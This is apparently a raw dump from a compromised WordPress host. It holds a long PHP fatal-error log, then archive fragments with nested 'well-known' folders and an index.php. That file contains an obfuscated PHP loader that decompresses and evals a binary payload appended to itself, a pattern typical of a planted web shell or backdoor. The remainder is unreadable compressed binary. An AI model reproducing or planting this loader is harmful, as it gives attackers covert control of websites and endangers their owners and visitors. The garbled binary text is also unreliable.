18 [10-Sep-2026 21:43:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [10-Sep-2026 21:59:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 21:59:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 21:59:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 21:59:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 21:59:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 21:59:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 21:59:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 21:59:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 21:59:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 21:59:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [10-Sep-2026 22:00:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 22:00:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [10-Sep-2026 22:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [10-Sep-2026 22:00:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 22:00:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 22:00:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [10-Sep-2026 22:01:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 22:01:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 22:01:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [10-Sep-2026 22:01:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 22:02:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 22:02:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 22:02:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 22:03:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 22:03:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 22:04:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 22:06:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 22:06:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 22:08:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [10-Sep-2026 22:36:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [10-Sep-2026 22:49:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [10-Sep-2026 22:49:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [10-Sep-2026 22:49:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [10-Sep-2026 22:49:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [10-Sep-2026 22:50:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [10-Sep-2026 22:50:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [10-Sep-2026 22:50:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [10-Sep-2026 22:50:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [10-Sep-2026 22:50:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [10-Sep-2026 22:50:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [10-Sep-2026 22:50:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [10-Sep-2026 22:50:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [10-Sep-2026 22:50:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [10-Sep-2026 22:50:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [10-Sep-2026 22:50:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [10-Sep-2026 22:51:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [10-Sep-2026 22:51:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [10-Sep-2026 22:51:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [10-Sep-2026 22:51:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 22:51:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [10-Sep-2026 22:51:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [10-Sep-2026 22:51:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [10-Sep-2026 22:52:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [10-Sep-2026 22:53:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [10-Sep-2026 23:08:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 PK�������!�������������K��v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/index.htmlnu�6$��������PK�������!�������������J��v1/css/src/files/awsyy/well-known/acme-challenge/a/g/e/c/uibdv1z/.htaccessnu�6$��������PK�������!�������������C��v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/index.htmlnu�[��������PK�������!�������������B��v1/css/src/files/awsyy/well-known/pki-validation/a/e/h/d/.htaccessnu�[��������PK�������!�������������P��v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/index.htmlnu�6$��������PK�������!�������������O��v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/e/g/g/e/aq1nvyu/.htaccessnu�6$��������PK�������!�������������P��v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/index.htmlnu�6$��������PK�������!�������������O��v1/css/src/files/awsyy/yjnj/well-known/acme-challenge/c/h/g/f/hycfumx/.htaccessnu�6$��������PK�������!�������������H��v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/index.htmlnu�[��������PK�������!�������������G��v1/css/src/files/awsyy/yjnj/well-known/pki-validation/b/c/e/e/.htaccessnu�[��������PK�������!�������������H��v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/index.htmlnu�[��������PK�������!�������������G��v1/css/src/files/awsyy/yjnj/well-known/pki-validation/a/g/b/a/.htaccessnu�[��������PK�������!�{O � �%��v1/css/src/files/awsyy/yjnj/index.phpnu�6$��������<?php $passhash = ''; $userSh = 'F-Automatical'; $KeWH='e'.'x'.'it';$OIEW='s'.'t'.'r'.'_r'.'ep'.'lace';$QqSK='fi'.'le_get'.'_co'.'ntents';$oznv='gzuncom'.'press';$AQad='sub'.'str';eval($oznv($OIEW('xvhqljdzay',">",$OIEW('njurxgpkqh',"<",$AQad($QqSK( __FILE__ ),-170221)))));$KeWH(0); ?> xǎZ wU #/E2*ZFs@y⎈,v.pWc;ce⏿xvhqljdzay[=#u[/U~!I=˿?Oσź-奔 ]G_ygUw_R'?=y/[/!ޗMq?%~9wcؿ_ݚ?%e[9nqs'.PqkN`#1)⅒Z̞ދt^?Eo_Qq[_Xڵ7,;O_+B_ EQ߭njurxgpkqhǨkWяqIt}ߏ =BG_18["b|bpJ][(1n?q?DžwK~|MWNc_ (|#?_v_u,Bv_T,Á.IigJcΩ˶xvhqljdzay?gxvhqljdzayM_vHsjV7 L'gk5e}t1goxw8|?OwOc+ +۟_3sP�1$9o˿#�njurxgpkqhuk\(?^O K0ahAoVG|GIoZNnjurxgpkqh:KTB© |)?s4hc) +_MG4qUϨ7mxvhqljdzay;dbm3u/%…555[| DW"'ΤTb骔$ܽb 0(ESewzEOˉh= HAZ7)#ݽb=뙘m6ޑJMjXQ5Ԃ*G$s)Cfc;@(ênϘOIOV۫ ?6!%B9)9jT:+^bu^YťƙfSqej,W ZmwDu63u%M u~ӡ{n޿ud8Q$6{"%6$ ځ:o_xvhqljdzayP,u4 m;pnOD۬@%c@Pu`^kXX9E(lw_ܧ$?p_艋1SN=:,/{xGJ~F/gn`JSd9y…G$婾oV8kWLΖEo]d~e\Ąs2k;+mvO񬣗{ '4#g\Ԥ{ 3SVqa#rGzOAc{1Rci¦R|*GH#βyEgtaӴ0vB9Q|&CR}l|gQ2xvhqljdzayp[m7쉫8Jܡ[L$8y'%Gi0!s{]]z uT=du$+ 0oxvhqljdzay?&eBےzO( lbZ%@ wsigx/R njurxgpkqhã۽s5~i?C c4E4@񸁗L}f A窠^9x:_{ٷ\]Q brr73RG24氅\\Oӄ|~U+d`?&S$cZxvhqljdzaym?"glPd}JzBSYd1+2ZF^T ǐS\vAʹa'zz,e&|ʇbxvhqljdzay(C0`!f9&a4%!c)=i}p2xvhqljdzaye9`%l0n�5BMvD�~f䷸hk^ pxb!6 x\"j=¦⯵"NKdGIé, I_B8Nm ]|GiXK.xvhqljdzayRl-*\1R-$]w L%4QG:QՓT9 /l'IЙt=#ať7 \_I1Z@{©L ZpQ ))"!`ݕՉ/ Qb|wrkb]n6j 7!ځ( CzEaw԰]si֨hzv W$gZwnjurxgpkqh1M2S_Kn3pCIեF%M;[۽`! k+Ov`&|ou0U B=W5\XP�q1OֆvMi\dxS\=MaƔJnjurxgpkqh39qg3z+[a55@73vlh0)~#K Jb=c̥W~A`fnX" oӂE!CIp3eL;njurxgpkqh)$խ TLhA`njurxgpkqhK@OMe3$Y:sCI˺4})xvhqljdzaywJY#Hj_O":R*;}Y~b 螗Wg'%Gs=jxZBطCT gLȬ;"J]mٷ@Jt_[h'3x�M ٧wye5hڸ N+Vf9U_ p1}n U(&N( ҥ5أcO6H4m^ O~,E(Fjzd EY-*"]껋5/ kyhIp-ʭlj2ɩi]9܂uJOd*bXێv؉bO,.4AP#c~F\{T hܟ%6&rNrEigvtMk&4I�귖xZۖݰ,{kEFٿvz{xvhqljdzayF#ԋ.ԬA +=GئtriZZc�0!ezr~njurxgpkqh lw03ߤf4@n( C:)E 9rA֥IkJC-(Tm1vTJ2 mWe;`vʼJEFBH߭V'hAV\1S|n2njurxgpkqh(B(v!Ќ`,j*ny7GdW 8z1rfKLFڢbJU3S8Y_N,PK%G?A֤"~b{6ynIBveL ID[njurxgpkqhsdwr 